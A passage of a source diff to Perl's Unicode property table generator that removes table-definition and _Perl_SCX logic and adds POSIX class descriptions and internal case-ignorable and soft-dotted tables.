!= 0 && $self->SUPER::_range_list->count == 0) { - $self->_set_range_list($self->SUPER::_range_list - + ~ $complement->_range_list); - $complement->lock; + my $complement; + if (($complement = $self->complement) != 0) { + return ~ $complement->_range_list; + } + else { + return $self->SUPER::_range_list; } - - return $self->SUPER::_range_list; } sub add_alias { @@ -8081,7 +8048,7 @@ sub trace { return main::trace(@_); } # disambiguate with). if (defined $conflicting_object) { foreach my $alias ($self->aliases) { - if (standardize($alias->name) eq standardize($conflicting_name)) { + if ($alias->name eq $conflicting_name) { # Here, there is an exact match. This results in # ambiguous comments, so disambiguate by changing the @@ -8174,19 +8141,7 @@ sub trace { return main::trace(@_); } # add_alias() # instead for same # property - && ! $other->perl_extension - - # We allow the sc and scx properties to be marked as - # related. They are in fact related, and this allows - # the pod to show that better. This test isn't valid - # if this is an early Unicode release without the scx - # property (having that also implies the sc property - # exists, so don't have to test for no 'sc') - && ( ! defined $scx - && ! ( ( $self->property == $script - || $self->property == $scx) - && ( $self->property == $script - || $self->property == $scx)))) + && ! $other->perl_extension) { Carp::my_carp_bug("set_equivalent_to should have 'Related => 0 for equivalencing two Unicode properties. Assuming $self is not related to $other"); $related = 0; @@ -8309,235 +8264,6 @@ sub trace { return main::trace(@_); } return; } - sub calculate_table_definition - { - # Returns a human-readable string showing some or all of the code - # points matched by this table. The string will include a - # bracketed-character class for all characters matched in the 00-FF - # range, and the first few ranges matched beyond that. - my $max_ranges = 6; - - my $self = shift; - my $definition = $self->definition || ""; - - # Skip this if already have a definition. - return $definition if $definition; - - my $lows_string = ""; # The string representation of the 0-FF - # characters - my $string_range = ""; # The string rep. of the above FF ranges - my $range_count = 0; # How many ranges in $string_rage - - my @lows_invlist; # The inversion list of the 0-FF code points - my $first_non_control = ord(" "); # Everything below this is a - # control, on ASCII or EBCDIC - my $max_table_code_point = $self->max; - - # On ASCII platforms, the range 80-FF contains no printables. - my $highest_printable = ((main::NON_ASCII_PLATFORM) ? 255 : 126); - - - # Look through the first few ranges matched by this table. - $self->reset_each_range; # Defensive programming - while (defined (my $range = $self->each_range())) { - my $start = $range->start; - my $end = $range->end; - - # Accumulate an inversion list of the 00-FF code points - if ($start < 256 && ($start > 0 || $end < 256)) { - push @lows_invlist, $start; - push @lows_invlist, 1 + (($end < 256) ? $end : 255); - - # Get next range if there are more ranges below 256 - next if $end < 256 && $end < $max_table_code_point; - - # If the range straddles the 255/256 boundary, we split it - # there. We already added above the low portion to the - # inversion list - $start = 256 if $end > 256; - } - - # Here, @lows_invlist contains the code points below 256, and - # there is no other range, or the current one starts at or above - # 256. Generate the [char class] for the 0-255 ones. - while (@lows_invlist) { - - # If this range (necessarily the first one, by the way) starts - # at 0 ... - if ($lows_invlist[0] == 0) { - - # If it ends within the block of controls, that means that - # some controls are in it and some aren't. Since Unicode - # properties pretty much only know about a few of the - # controls, like \n, \t, this means that its one of them - # that isn't in the range. Complement the inversion list - # which will likely cause these to be output using their - # mnemonics, hence being clearer. - if ($lows_invlist[1] < $first_non_control) { - $lows_string .= '^'; - shift @lows_invlist; - push @lows_invlist, 256; - } - elsif ($lows_invlist[1] <= $highest_printable) { - - # Here, it extends into the printables block. Split - # into two ranges so that the controls are separate. - $lows_string .= sprintf "\\x00-\\x%02x", - $first_non_control - 1; - $lows_invlist[0] = $first_non_control; - } - } - - # If the range completely contains the printables, don't - # individually spell out the printables. - if ( $lows_invlist[0] <= $first_non_control - && $lows_invlist[1] > $highest_printable) - { - $lows_string .= sprintf "\\x%02x-\\x%02x", - $lows_invlist[0], $lows_invlist[1] - 1; - shift @lows_invlist; - shift @lows_invlist; - next; - } - - # Here, the range may include some but not all printables. - # Look at each one individually - foreach my $ord (shift @lows_invlist .. shift(@lows_invlist) - 1) { - my $char = chr $ord; - - # If there is already something in the list, an - # alphanumeric char could be the next in sequence. If so, - # we start or extend a range. That is, we could have so - # far something like 'a-c', and the next char is a 'd', so - # we change it to 'a-d'. We use native_to_unicode() - # because a-z on EBCDIC means 26 chars, and excludes the - # gap ones. - if ($lows_string ne "" && $char =~ /[[:alnum:]]/) { - my $prev = substr($lows_string, -1); - if ( $prev !~ /[[:alnum:]]/ - || utf8::native_to_unicode(ord $prev) + 1 - != utf8::native_to_unicode(ord $char)) - { - # Not extending the range - $lows_string .= $char; - } - elsif ( length $lows_string > 1 - && substr($lows_string, -2, 1) eq '-') - { - # We had a sequence like '-c' and the current - # character is 'd'. Extend the range. - substr($lows_string, -1, 1) = $char; - } - else { - # We had something like 'd' and this is 'e'. - # Start a range. - $lows_string .= "-$char"; - } - } - elsif ($char =~ /[[:graph:]]/) { - - # We output a graphic char as-is, preceded by a - # backslash if it is a metacharacter - $lows_string .= '\\' - if $char =~ /[\\\^\$\@\%\|()\[\]\{\}\-\/"']/; - $lows_string .= $char; - } # Otherwise use mnemonic for any that have them - elsif ($char =~ /[\a]/) { - $lows_string .= '\a'; - } - elsif ($char =~ /[\b]/) { - $lows_string .= '\b'; - } - elsif ($char eq "\e") { - $lows_string .= '\e'; - } - elsif ($char eq "\f") { - $lows_string .= '\f'; - } - elsif ($char eq "\cK") { - $lows_string .= '\cK'; - } - elsif ($char eq "\n") { - $lows_string .= '\n'; - } - elsif ($char eq "\r") { - $lows_string .= '\r'; - } - elsif ($char eq "\t") { - $lows_string .= '\t'; - } - else { - - # Here is a non-graphic without a mnemonic. We use \x - # notation. But if the ordinal of this is one above - # the previous, create or extend the range - my $hex_representation = sprintf("%02x", ord $char); - if ( length $lows_string >= 4 - && substr($lows_string, -4, 2) eq '\\x' - && hex(substr($lows_string, -2)) + 1 == ord $char) - { - if ( length $lows_string >= 5 - && substr($lows_string, -5, 1) eq '-' - && ( length $lows_string == 5 - || substr($lows_string, -6, 1) ne '\\')) - { - substr($lows_string, -2) = $hex_representation; - } - else { - $lows_string .= '-\\x' . $hex_representation; - } - } - else { - $lows_string .= '\\x' . $hex_representation; - } - } - } - } - - # Done with assembling the string of all lows. If there are only - # lows in the property, are completely done. - if ($max_table_code_point < 256) { - $self->reset_each_range; - last; - } - - # Otherwise, quit if reached max number of non-lows ranges. If - # there are lows, count them as one unit towards the maximum. - $range_count++; - if ($range_count > (($lows_string eq "") ? $max_ranges : $max_ranges - 1)) { - $string_range .= " ..."; - $self->reset_each_range; - last; - } - - # Otherwise add this range. - $string_range .= ", " if $string_range ne ""; - if ($start == $end) { - $string_range .= sprintf("U+%04X", $start); - } - elsif ($end >= $MAX_WORKING_CODEPOINT) { - $string_range .= sprintf("U+%04X..infinity", $start); - } - else { - $string_range .= sprintf("U+%04X..%04X", - $start, $end); - } - } - - # Done with all the ranges we're going to look at. Assemble the - # definition from the lows + non-lows. - - if ($lows_string ne "" || $string_range ne "") { - if ($lows_string ne "") { - $definition .= "[$lows_string]"; - $definition .= ", " if $string_range; - } - $definition .= $string_range; - } - - return $definition; - } - sub write { my $self = shift; Carp::carp_extra_args(\@_) if main::DEBUG && @_; @@ -9623,7 +9349,6 @@ sub trace { return main::trace(@_) if main::DEBUG && $to_trace } containing_range count default_map - definition delete_range description each_range @@ -9642,7 +9367,6 @@ sub trace { return main::trace(@_) if main::DEBUG && $to_trace } range_count ranges range_size_1 - replace_map reset_each_range set_comment set_default_map @@ -12955,15 +12679,6 @@ sub register_fraction($) { my $rational = shift; my $float = eval $rational; - $float = sprintf "%.*e", $E_FLOAT_PRECISION, $float; - if ( defined $nv_floating_to_rational{$float} - && $nv_floating_to_rational{$float} ne $rational) - { - die Carp::my_carp_bug("Both '$rational' and" - . " '$nv_floating_to_rational{$float}' evaluate to" - . " the same floating point number." - . " \$E_FLOAT_PRECISION must be increased"); - } $nv_floating_to_rational{$float} = $rational; return; } @@ -13426,9 +13141,9 @@ sub setup_script_extensions { # The Script_Extensions property starts out with a clone of the Script # property. - $scx = property_ref("Script_Extensions"); - return unless defined $scx; - + my $scx = property_ref("Script_Extensions"); + $scx = Property->new("scx", Full_Name => "Script_Extensions") + if ! defined $scx; $scx->_set_format($STRING_WHITE_SPACE_LIST); $scx->initialize($script); $scx->set_default_map($script->default_map); @@ -13664,7 +13379,7 @@ sub filter_all_caps_script_names { my ($range, $script, @remainder) = split /\s*;\s*/, $_, -1; # -1 => retain trailing null fields - my @words = split /[_-]/, $script; + my @words = split "_", $script; for my $word (@words) { $word = ucfirst(lc($word)) if $word ne 'CJK'; @@ -14021,6 +13736,7 @@ END # data is retained in the map table for reference, but the spurious match # tables are deleted. + my $scx = property_ref("Script_Extensions"); if (defined $scx) { foreach my $table ($scx->tables) { next unless $table->name =~ /\s/; # All the new and only the new @@ -14033,21 +13749,6 @@ END } $scx->delete_match_table($table); } - - # Mark the scx table as the parent of the corresponding sc table for - # those which are identical. This causes the pod for the script table - # to refer to the corresponding scx one. - # - # This has to be in a separate loop from above, so as to wait until - # the tables are stabilized before checking for equivalency. - if (defined $pod_directory) { - foreach my $table ($scx->tables) { - my $plain_sc_equiv = $script->table($table->name); - if ($table->matches_identically_to($plain_sc_equiv)) { - $plain_sc_equiv->set_equivalent_to($table, Related => 1); - } - } - } } return; @@ -14197,10 +13898,8 @@ sub handle_compare_versions () { # since the first compare version. my $delta = Range_List->new(); foreach my $table ($age->tables) { - use version; next if $table == $age->table('Unassigned'); - next if version->parse($table->name) - le version->parse($string_compare_versions); + next if $table->name le $string_compare_versions; $delta += $table; } if ($delta->is_empty) { @@ -14223,9 +13922,6 @@ sub handle_compare_versions () { next if $this_block == $no_block || ! ($this_block & $Assigned)->is_empty; $this_block->set_fate($SUPPRESSED, $after_first_version); - foreach my $range ($this_block->ranges) { - $block->replace_map($range->start, $range->end, 'No_Block') - } $no_block += $this_block; } @@ -14472,13 +14168,21 @@ sub compile_perl() { } my $Any = $perl->add_match_table('Any', - Description => "All Unicode code points"); + Description => "All Unicode code points: [\\x{0000}-\\x{$MAX_UNICODE_CODEPOINT_STRING}]", + ); $Any->add_range(0, $MAX_UNICODE_CODEPOINT); $Any->add_alias('Unicode'); calculate_Assigned(); - my $ASCII = $perl->add_match_table('ASCII'); + # Our internal-only property should be treated as more than just a + # synonym; grandfather it in to the pod. + $perl->add_match_table('_CombAbove', Re_Pod_Entry => 1, + Fate => $INTERNAL_ONLY, Status => $DISCOURAGED) + ->set_equivalent_to(property_ref('ccc')->table('Above'), + Related => 1); + + my $ASCII = $perl->add_match_table('ASCII', Description => '[[:ASCII:]]'); if (defined $block) { # This is equivalent to the block if have it. my $Unicode_ASCII = $block->table('Basic_Latin'); if (defined $Unicode_ASCII && ! $Unicode_ASCII->is_empty) { @@ -14538,6 +14242,7 @@ sub compile_perl() { $Lower += $temp & $Assigned; } my $Posix_Lower = $perl->add_match_table("PosixLower", + Description => "[a-z]", Initialize => $Lower & $ASCII, ); @@ -14555,6 +14260,7 @@ sub compile_perl() { $Upper->add_range(0x24B6, 0x24CF); # Circled Latin upper case letters } my $Posix_Upper = $perl->add_match_table("PosixUpper", + Description => "[A-Z]", Initialize => $Upper & $ASCII, ); @@ -14619,6 +14325,56 @@ sub compile_perl() { $Lower->set_caseless_equivalent($cased); } + # Similarly, set up our own Case_Ignorable property if this Unicode + # version doesn't have it. From Unicode 5.1: Definition D121: A character + # C is defined to be case-ignorable if C has the value MidLetter or the + # value MidNumLet for the Word_Break property or its General_Category is + # one of Nonspacing_Mark (Mn), Enclosing_Mark (Me), Format (Cf), + # Modifier_Letter (Lm), or Modifier_Symbol (Sk). + + # Perl has long had an internal-only alias for this property; grandfather + # it in to the pod, but discourage its use. + my $perl_case_ignorable = $perl->add_match_table('_Case_Ignorable', + Re_Pod_Entry => 1, + Fate => $INTERNAL_ONLY, + Status => $DISCOURAGED); + my $case_ignorable = property_ref('Case_Ignorable'); + if (defined $case_ignorable && ! $case_ignorable->is_empty) { + $perl_case_ignorable->set_equivalent_to($case_ignorable->table('Y'), + Related => 1); + } + else { + + $perl_case_ignorable->initialize($gc->table('Mn') + $gc->table('Lm')); + + # The following three properties are not in early releases + $perl_case_ignorable += $gc->table('Me') if defined $gc->table('Me'); + $perl_case_ignorable += $gc->table('Cf') if defined $gc->table('Cf'); + $perl_case_ignorable += $gc->table('Sk') if defined $gc->table('Sk'); + + # For versions 4.1 - 5.0, there is no MidNumLet property, and + # correspondingly the case-ignorable definition lacks that one. For + # 4.0, it appears that it was meant to be the same definition, but was + # inadvertently omitted from the standard's text, so add it if the + # property actually is there + my $wb = property_ref('Word_Break'); + if (defined $wb) { + my $midlet = $wb->table('MidLetter'); + $perl_case_ignorable += $midlet if defined $midlet; + my $midnumlet = $wb->table('MidNumLet'); + $perl_case_ignorable += $midnumlet if defined $midnumlet; + } + else { + + # In earlier versions of the standard, instead of the above two + # properties , just the following characters were used: + $perl_case_ignorable += + ord("'") + + utf8::unicode_to_native(0xAD) # SOFT HYPHEN (SHY) + + 0x2019; # RIGHT SINGLE QUOTATION MARK + } + } + # The remaining perl defined tables are mostly based on Unicode TR 18, # "Annex C: Compatibility Properties". All of these have two versions, # one whose name generally begins with Posix that is posix-compliant, and @@ -14712,6 +14468,7 @@ sub compile_perl() { $Alpha->add_alias('Alphabetic'); } my $Posix_Alpha = $perl->add_match_table("PosixAlpha", + Description => "[A-Za-z]", Initialize => $Alpha & $ASCII, ); $Posix_Upper->set_caseless_equivalent($Posix_Alpha); @@ -14722,6 +14479,7 @@ sub compile_perl() { Initialize => $Alpha + $gc->table('Decimal_Number'), ); $perl->add_match_table("PosixAlnum", + Description => "[A-Za-z0-9]", Initialize => $Alnum & $ASCII, ); @@ -14748,7 +14506,7 @@ sub compile_perl() { # This is a Perl extension, so the name doesn't begin with Posix. my $PerlWord = $perl->add_match_table('PosixWord', - Description => '\w, restricted to ASCII', + Description => '\w, restricted to ASCII = [A-Za-z0-9_]', Initialize => $Word & $ASCII, ); $PerlWord->add_alias('PerlWord'); @@ -14765,6 +14523,7 @@ sub compile_perl() { ); $Blank->add_alias('HorizSpace'); # Another name for it. $perl->add_match_table("PosixBlank", + Description => "\\t and ' '", Initialize => $Blank & $ASCII, ); @@ -14790,6 +14549,7 @@ sub compile_perl() { $Space->add_alias('Space') if $v_version lt v4.1.0; my $Posix_space = $perl->add_match_table("PosixSpace", + Description => "\\t, \\n, \\cK, \\f, \\r, and ' '. (\\cK is vertical tab)", Initialize => $Space & $ASCII, ); $Posix_space->add_alias('PerlSpace'); # A pre-existing synonym @@ -14798,12 +14558,7 @@ sub compile_perl() { Description => 'Control characters'); $Cntrl->set_equivalent_to($gc->table('Cc'), Related => 1); $perl->add_match_table("PosixCntrl", - Description => "ASCII control characters", - Definition => "ACK, BEL, BS, CAN, CR, DC1, DC2," - . " DC3, DC4, DEL, DLE, ENQ, EOM," - . " EOT, ESC, ETB, ETX, FF, FS, GS," - . " HT, LF, NAK, NUL, RS, SI, SO," - . " SOH, STX, SUB, SYN, US, VT", + Description => "ASCII control characters: NUL, SOH, STX, ETX, EOT, ENQ, ACK, BEL, BS, HT, LF, VT, FF, CR, SO, SI, DLE, DC1, DC2, DC3, DC4, NAK, SYN, ETB, CAN, EOM, SUB, ESC, FS, GS, RS, US, and DEL", Initialize => $Cntrl & $ASCII, ); @@ -14827,6 +14582,8 @@ sub compile_perl() { Initialize => ~ ($Space + $controls), ); $perl->add_match_table("PosixGraph", + Description => + '[-!"#$%&\'()*+,./:;<=>?@[\\\]^_`{|}~0-9A-Za-z]', Initialize => $Graph & $ASCII, ); @@ -14835,6 +14592,8 @@ sub compile_perl() { Initialize => $Blank + $Graph - $gc->table('Control'), ); $perl->add_match_table("PosixPrint", + Description => + '[- 0-9A-Za-z!"#$%&\'()*+,./:;<=>?@[\\\]^_`{|}~]', Initialize => $print & $ASCII, ); @@ -14849,6 +14608,7 @@ sub compile_perl() { Perl_Extension => 1 ); $perl->add_match_table('PosixPunct', Perl_Extension => 1, + Description => '[-!"#$%&\'()*+,./:;<=>?@[\\\]^_`{|}~]', Initialize => $ASCII & $XPosixPunct, ); @@ -14856,6 +14616,7 @@ sub compile_perl() { Description => '[0-9] + all other decimal digits'); $Digit->set_equivalent_to($gc->table('Decimal_Number'), Related => 1); my $PosixDigit = $perl->add_match_table("PosixDigit", + Description => '[0-9]', Initialize => $Digit & $ASCII, ); @@ -14870,6 +14631,7 @@ sub compile_perl() { ord('A') .. ord('F'), ord('a') .. ord('f'), 0xFF10..0xFF19, 0xFF21..0xFF26, 0xFF41..0xFF46]); + $Xdigit->add_description('[0-9A-Fa-f] and corresponding fullwidth versions, like U+FF10: FULLWIDTH DIGIT ZERO'); } # AHex was not present in early releases @@ -14883,6 +14645,7 @@ sub compile_perl() { $PosixXDigit->add_alias('AHex'); $PosixXDigit->add_alias('Ascii_Hex_Digit'); } + $PosixXDigit->add_description('[0-9A-Fa-f]'); my $any_folds = $perl->add_match_table("_Perl_Any_Folds", Description => "Code points that particpate in some fold", @@ -14992,6 +14755,33 @@ sub compile_perl() { Note => 'Union of all non-canonical decompositions', ); + # _CanonDCIJ is equivalent to Soft_Dotted, but if on a release earlier + # than SD appeared, construct it ourselves, based on the first release SD + # was in. A pod entry is grandfathered in for it + my $CanonDCIJ = $perl->add_match_table('_CanonDCIJ', Re_Pod_Entry => 1, + Perl_Extension => 1, + Fate => $INTERNAL_ONLY, + Status => $DISCOURAGED); + my $soft_dotted = property_ref('Soft_Dotted'); + if (defined $soft_dotted && ! $soft_dotted->is_empty) { + $CanonDCIJ->set_equivalent_to($soft_dotted->table('Y'), Related => 1); + } + else { + + # This list came from 3.2 Soft_Dotted; all of these code points are in + # all releases + $CanonDCIJ->initialize([ ord('i'), + ord('j'), + 0x012F, + 0x0268, + 0x0456, + 0x0458, + 0x1E2D, + 0x1ECB, + ]); + $CanonDCIJ = $CanonDCIJ & $Assigned; + } + # For backward compatibility, Perl has its own definition for IDStart. # It is regular XID_Start plus the underscore, but all characters must be # Word characters as well @@ -15311,9 +15101,6 @@ END . $current_age->name . ' or earlier', ); - foreach my $alias ($current_age->aliases) { - $current_in->add_alias($alias->name); - } $previous_in = $current_in; # Add clarifying material for the corresponding age file. This is @@ -15535,71 +15322,6 @@ END } } - # This property is a modification of the scx property - my $perl_scx = Property->new('_Perl_SCX', - Fate => $INTERNAL_ONLY, - Perl_Extension => 1, - Directory => $map_directory, - Type => $ENUM); - my $source; - - # Use scx if available; otherwise sc; if neither is there (a very old - # Unicode version, just say that everything is 'Common' - if (defined $scx) { - $source = $scx; - $perl_scx->set_default_map('Unknown'); - } - elsif (defined $script) { - $source = $script; - - # Early versions of 'sc', had everything be 'Common' - if (defined $script->table('Unknown')) { - $perl_scx->set_default_map('Unknown'); - } - else { - $perl_scx->set_default_map('Common'); - } - } else { - $perl_scx->add_match_table('Common'); - $perl_scx->add_map(0, $MAX_UNICODE_CODEPOINT, 'Common'); - - $perl_scx->add_match_table('Unknown'); - $perl_scx->set_default_map('Unknown'); - } - - $perl_scx->_set_format($STRING_WHITE_SPACE_LIST); - $perl_scx->set_pre_declared_maps(0); # PropValueAliases doesn't list these - - if (defined $source) { - $perl_scx->initialize($source); - - # UTS 39 says that the scx property should be modified for these - # countries where certain mixed scripts are commonly used. - for my $range ($perl_scx->ranges) { - my $value = $range->value; - my $changed = $value =~ s/ ( \b Han i? \b ) /$1 Hanb Jpan Kore/xi; - $changed |= $value =~ s/ ( \b Hira (gana)? \b ) /$1 Jpan/xi; - $changed |= $value =~ s/ ( \b Kata (kana)? \b ) /$1 Jpan/xi; - $changed |= $value =~ s{ ( \b Katakana_or_Hiragana \b ) } - {$1 Katakana Hiragana Jpan}xi; - $changed |= $value =~ s/ ( \b Hang (ul)? \b ) /$1 Kore/xi; - $changed |= $value =~ s/ ( \b Bopo (mofo)? \b ) /$1 Hanb/xi; - - if ($changed) { - $value = join " ", uniques split " ", $value; - $range->set_value($value) - } - } - - foreach my $table ($source->tables) { - my $scx_table = $perl_scx->add_match_table($table->name, - Full_Name => $table->full_name); - foreach my $alias ($table->aliases) { - $scx_table->add_alias($alias->name); - } - } - } - # Here done with all the basic stuff. Ready to populate the information # about each character if annotating them. if ($annotate) { @@ -15643,6 +15365,7 @@ sub add_perl_synonyms() { # If the version of Unicode includes the Script Extensions (preferably), # or Script property, add its tables + my $scx = property_ref("Script_Extensions"); if (defined $scx) { push @tables, $scx->tables; } @@ -16307,18 +16030,7 @@ sub make_re_pod_entries($) { $unicode_count = $count; $non_unicode_string = ""; } - my $string_count = clarify_number($unicode_count) . $non_unicode_string; - - my $definition = $input_table->calculate_table_definition; - if ($definition) { - - # Save the definition for later use. - $input_table->set_definition($definition); - - $definition = ": $definition"; - } - my $status = $input_table->status; my $status_info = $input_table->status_info; my $caseless_equivalent = $input_table->caseless_equivalent; @@ -16613,10 +16325,7 @@ sub make_re_pod_entries($) { if ($table_property != $perl && $table->perl_extension) { push @info, '(Perl extension)'; } - my $definition = $table->definition // ""; - $definition = "" if $entry_for_first_alias; - $definition = ": $definition" if $definition; - push @info, "($string_count$definition)"; + push @info, "($string_count)"; # Now, we have both the entry and info so add them to the # list of all the properties. @@ -16659,50 +16368,39 @@ sub make_ucd_table_pod_entries { : $table->parent->property; my $perl_extension = $table->perl_extension; - my $is_perl_extension_match_table_but_not_dollar_perl - = $property != $perl - && $perl_extension - && $property != $table; # Get the more official name for for perl extensions that aren't # stand-alone properties - if ($is_perl_extension_match_table_but_not_dollar_perl) { - if ($property->type == $BINARY) { - $meaning = $property->full_name; + if ($perl_extension && $property != $table) { + if ($property == $perl ||$property->type == $BINARY) { + $meaning = $table->complete_name; } else { - $meaning = $table->parent->complete_name; + $meaning = $property->full_name . "=$full_name"; } } # There are three types of info column. One for the short name, one for # the full name, and one for everything else. They mostly are the same, # so initialize in the same loop. - foreach my $info_ref (\$full_info, \$short_info, \$other_info) { - if ($info_ref != \$full_info) { - - # The non-full name columns include the full name - $$info_ref .= $full_name; - } - - - if ($is_perl_extension_match_table_but_not_dollar_perl) { + if ($perl_extension && $property != $table) { # Add the synonymous name for the non-full name entries; and to # the full-name entry if it adds extra information - if ( standardize($meaning) ne $standard_full_name - || $info_ref == \$other_info - || $info_ref == \$short_info) - { - my $parenthesized = $info_ref != \$full_info; - $$info_ref .= " " if $$info_ref && $parenthesized; - $$info_ref .= "(=" if $parenthesized; - $$info_ref .= "$meaning"; - $$info_ref .= ")" if $parenthesized; - $$info_ref .= "."; + if ($info_ref == \$other_info + || ($info_ref == \$short_info + && $standard_short_name ne $standard_full_name) + || standardize($meaning) ne $standard_full_name + ) { + $$info_ref .= "$meaning."; } } + elsif ($info_ref != \$full_info) { + + # Otherwise, the non-full name columns include the full name + $$info_ref .= $full_name; + } # And the full-name entry includes the short name, if shorter if ($info_ref == \$full_info @@ -16720,23 +16418,8 @@ sub make_ucd_table_pod_entries { } } - my $definition; - my $definition_table; - my $type = $table->property->type; - if ($type == $BINARY || $type == $FORCED_BINARY) { - $definition_table = $table->property->table('Y'); - } - elsif ($table->isa('Match_Table')) { - $definition_table = $table; - } - - $definition = $definition_table->calculate_table_definition - if defined $definition_table - && $definition_table != 0; - # Add any extra annotations to the full name entry foreach my $more_info ($table->description, - $definition, $table->note, $table->status_info) { @@ -16874,69 +16557,27 @@ sub pod_alphanumeric_sort { return -1 } - # Determine if the two operands are compound or not, and if so if are - # "numeric" property values or not, like \p{Age: 3.0}. But there are also - # things like \p{Canonical_Combining_Class: CCC133} and \p{Age: V10_0}, - # all of which this considers numeric, and for sorting, looks just at the - # numeric parts. It can also be a rational like \p{Numeric Value=-1/2}. - my $split_re = qr/ - ^ ( [^:=]+ ) # $1 is undef if not a compound form, otherwise is the - # property name - [:=] \s* # The syntax for the compound form - (?: # followed by ... - ( # $2 gets defined if what follows is a "numeric" - # expression, which is ... - ( -? \d+ (?: [.\/] \d+)? # An integer, float, or rational - # number, optionally signed - | [[:alpha:]]{2,} \d+ $ ) # or something like CCC131. Either - # of these go into $3 - | ( V \d+ _ \d+ ) # or a Unicode's Age property version - # number, into $4 - ) - | .* $ # If not "numeric", accept anything so that $1 gets - # defined if it is any compound form - ) /ix; - my ($a_initial, $a_numeric, $a_number, $a_version) = ($a =~ $split_re); - my ($b_initial, $b_numeric, $b_number, $b_version) = ($b =~ $split_re); - - # Sort alphabeticlly on the whole property name if either operand isn't - # compound, or they differ. - return $a cmp $b if ! defined $a_initial - || ! defined $b_initial - || $a_initial ne $b_initial; - - if (! defined $a_numeric) { - - # If neither is numeric, use alpha sort - return $a cmp $b if ! defined $b_numeric; - return 1; # Sort numeric ahead of alpha - } - - # Here $a is numeric - return -1 if ! defined $b_numeric; # Numeric sorts before alpha - - # Here they are both numeric in the same property. - # Convert version numbers into regular numbers - if (defined $a_version) { - ($a_number = $a_version) =~ s/^V//i; - $a_number =~ s/_/./; - } - else { # Otherwise get rid of the, e.g., CCC in CCC9 */ - $a_number =~ s/ ^ [[:alpha:]]+ //x; - } - if (defined $b_version) { - ($b_number = $b_version) =~ s/^V//i; - $b_number =~ s/_/./; - } - else { - $b_number =~ s/ ^ [[:alpha:]]+ //x; - } + # Determine if the two operands are numeric property values or not. + # A numeric property will look like xyz: 3. But the number + # can begin with an optional minus sign, and may have a + # fraction or rational component, like xyz: 3/2. If either + # isn't numeric, use alphabetic sort. + my ($a_initial, $a_number) = + ($a =~ /^ ( [^:=]+ [:=] \s* ) (-? \d+ (?: [.\/] \d+)? )/ix); + return $a cmp $b unless defined $a_number; + my ($b_initial, $b_number) = + ($b =~ /^ ( [^:=]+ [:=] \s* ) (-? \d+ (?: [.\/] \d+)? )/ix); + return $a cmp $b unless defined $b_number; + + # Here they are both numeric, but use alphabetic sort if the + # initial parts don't match + return $a cmp $b if $a_initial ne $b_initial; # Convert rationals to floating for the comparison. $a_number = eval $a_number if $a_number =~ qr{/}; $b_number = eval $b_number if $b_number =~ qr{/}; - return $a_number <=> $b_number || $a cmp $b; + return $a_number <=> $b_number; } sub make_pod () { @@ -17162,7 +16803,6 @@ END $ucd_pod = format_pod_line($indent_info_column, 'NAME', ' INFO') . "\n" . $ucd_pod; - my $space_hex = sprintf("%02x", ord " "); local $" = ""; # Everything is ready to assemble. @@ -17190,7 +16830,7 @@ Perl can provide access to all non-provisional Unicode character properties, though not all are enabled by default. The omitted ones are the Unihan properties (accessible via the CPAN module L) and certain deprecated or Unicode-internal properties. (An installation may choose to -recompile Perl's tables to change this. See L.) For most purposes, access to Unicode properties from the Perl core is through @@ -17223,16 +16863,14 @@ constructs, both single and compound forms. B consist of two components, separated by an equals sign or a colon. The first component is the property name, and the second component is the particular value of the property to match against, for example, -C<\\p{Script_Extensions: Greek}> and C<\\p{Script_Extensions=Greek}> both mean -to match characters whose Script_Extensions property value is Greek. -(C is an improved version of the C